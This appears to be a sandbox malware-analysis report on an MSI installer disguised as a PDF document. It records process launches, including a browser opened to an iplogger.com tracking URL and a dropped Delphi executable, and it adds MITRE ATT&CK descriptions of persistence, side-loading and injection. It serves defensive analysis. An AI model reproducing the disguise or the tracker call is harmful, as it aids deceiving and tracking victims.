Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\Temp1_DOC70219873816PDF_02.zip\DOC70219873816PDF_02.msi"
Imagebase:	0x7ff759b90000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	15
Start time:	09:20:16
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 26A115FA982D3F88F68908AE2FFB44FB
Imagebase:	0x310000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	17
Start time:	09:20:17
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/LABORAL
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	19
Start time:	09:20:18
Start date:	16/04/2024
Path:	C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe"
Imagebase:	0x400000
File size:	27'339'496 bytes
MD5 hash:	48D732A19514BEF06ACC712F43FA7D65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe, Author: Joe Security
Antivirus matches:	Detection: 2%, ReversingLabs
Reputation:	low
Has exited:	false

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre